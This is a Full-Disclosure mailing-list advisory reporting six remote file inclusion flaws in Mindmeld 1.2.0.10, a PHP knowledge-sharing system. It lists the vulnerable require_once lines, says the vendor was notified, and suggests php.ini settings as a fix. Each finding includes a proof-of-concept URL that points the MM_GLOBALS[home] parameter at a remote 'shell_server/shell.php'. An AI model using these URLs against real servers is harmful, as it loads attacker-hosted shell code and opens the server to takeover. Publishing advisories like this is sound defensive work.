Summary Mindmeld is an, "enterprise-capable knowledge-sharing system" written in PHP. There are multiple remote file inclusion vulnerabilities in Mindmeld version 1.2.0.10 (latest version). Details 1. Vulnerable File and Line: Mindmeld-1.2.0.10/acweb/admin_index.php: line 51 require_once ( $MM_GLOBALS['home']."include/utilities.inc" ); PoC: http://server/mindmeld/acweb/admin_index.php?MM_GLOBALS[home]=http://shell _server/shell.php? --- 2. Vulnerable file and line: Mindmeld-1.2.0.10/include/ask.inc.php: line 34 require_once ( $MM_GLOBALS['home'] . "interfaces {$MM_GLOBALS['interface']}/include/" . "interface_{$MM_GLOBALS['interface']}_ask.inc" ); PoC: http://server/mindmeld/include/ask.inc.php?MM_GLOBALS[home]=http:// shell_server/shell.php?php? --- 3. Vulnerable File and Line: Mindmeld-1.2.0.10/include/learn.inc.php: line 38 require_once ( $MM_GLOBALS['home'] . "interfaces/ {$MM_GLOBALS['interface']}/include/" PoC: http://server/mindmeld/include/learn.inc.php?MM_GLOBALS[home]=http://shell _server/shell.php? --- 4. Vulnerable File and Line: Mindmeld-1.2.0.10/include/manage.inc.php: line 31 require_once ( $MM_GLOBALS['home'] . "interfaces/ {$MM_GLOBALS['interface']}/include/" PoC: http://server/mindmeld/include/manage.inc.php?MM_GLOBALS[home]=http://shell _server/shell.php? --- 5. Vulnerable File and Line: Mindmeld-1.2.0.10/include/mind.inc.php: line 33 require_once( $MM_GLOBALS['home'] . 'include/utilities.inc' ); PoC: http://server/mindmeld/include/mind.inc.php?MM_GLOBALS[home]=http://shell _server/shell.php? --- 6. Vulnerable File and Line: Mindmeld-1.2.0.10/include/sensory.inc.php: line 70 require_once ( $MM_GLOBALS['home'] . "include/utilities.inc" ); PoC: http://server/mindmeld/include/sensory.inc.php?MM_GLOBALS[home]=http://shell _server/shell.php? --- It appears that these vulnerabilities are not vulnerable to local file includes. These vulnerabilities have been disclosed to the vendor although development on this software has stopped. Sources: http://mindmeld.sourceforge.net/ Quick Fix: In php.ini, disable the following variables: register_globals, allow_url_fopen, and allow_url_include. Credit: David Wharton _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/